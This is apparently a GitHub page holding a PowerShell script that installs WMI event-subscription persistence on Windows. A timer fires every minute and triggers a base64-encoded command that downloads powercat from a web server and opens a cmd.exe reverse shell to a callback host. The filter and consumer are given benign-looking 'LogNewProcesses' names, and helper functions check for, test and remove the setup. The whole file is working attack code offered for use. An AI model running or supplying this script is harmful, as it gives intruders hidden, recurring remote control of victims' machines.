-
Notifications
You must be signed in to change notification settings - Fork 0
/
pwmi_powercat_timer.ps1
executable file
·89 lines (68 loc) · 5.84 KB
/
pwmi_powercat_timer.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
function Get-Subscriber {
$CheckForSubscriber=Get-WmiObject -Namespace root\subscription -class __EventFilter -Filter "Name='LogNewProcesses'"
if ($checkForSubscriber -eq $null ) {
write-host "No subscriber running"}
else {
write-host "Subscriber running"}
}
function Remove-Subscriber {
Get-wmiobject -Namespace root\subscription -Class __EventFilter -Filter "Name='LogNewProcesses'" | Remove-WmiObject -Verbose
Get-WmiObject -Namespace root\subscription -class CommandLineEventConsumer -Filter "Name='LogNewProcessConsumer'" | Remove-WmiObject -Verbose
Get-WmiObject -namespace root\subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%LogNewProcesses%'" | Remove-WmiObject -Verbose
}
function Test-CallBackServer {
$tcp=new-object system.net.sockets.tcpclient
$tcp.connect($callBackServer, $port)
}
function Invoke-Subscriber {
param(
[parameter(Mandatory=$true)]
[string]$webServer,
[string]$callBackServer,
[string]$callBackPort
)
$Hive = 'HKLM'
$PayloadKey = 'SOFTWARE\PayloadKey'
$PayloadValue = 'PayloadValue'
$TimerName = 'PayloadTrigger'
$EventFilterName = 'TimerTrigger'
$EventConsumerName = 'ExecuteEvilPowerShell'
$TimerArgs = @{
IntervalBetweenEvents = ([UInt32] 60000) # 43200000 to trigger every 12 hours
SkipIfPassed = $False
TimerId = $TimerName
}
$Timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments $TimerArgs
$DownloadFile="http://$($webserver)/powercat.ps1"
$callBackURL="https://$($callBackServer):8000"
$completeCommand="iex(new-object net.webclient).downloadstring('$downloadFile');powercat -c '$callBackServer' -p '$callBackPort' -e cmd.exe"
write-output $completeCommand
$bytes=[System.Text.Encoding]::Unicode.GetBytes($completeCommand)
$EncodedText=[Convert]::ToBase64String($bytes)
$wmiParams=@{
Computername = $env:COMPUTERNAME
ErrorAction = 'Stop'
NameSpace= 'root\subscription'
}
$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
Name = 'LogNewProcesses'
EventNamespace = 'root\CimV2'
QueryLanguage = 'WQL'
Query = "SELECT * from __TimerEvent WHERE TimerID = '$TimerName'"
}
$filterResult = Set-WmiInstance @wmiParams
$wmiParams.Class = 'CommandLineEventConsumer'
$wmiParams.Arguments = @{
Name='LogNewProcessConsumer'
CommandLineTemplate = "powershell.exe -noprofile -encodedCommand $($encodedText)"
RunInteractively = 'False'
}
$consumerResult = Set-WmiInstance @wmiParams
$wmiParams.class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
Filter = $filterResult
Consumer = $consumerResult
}
$bindingResult = Set-WmiInstance @wmiparams
}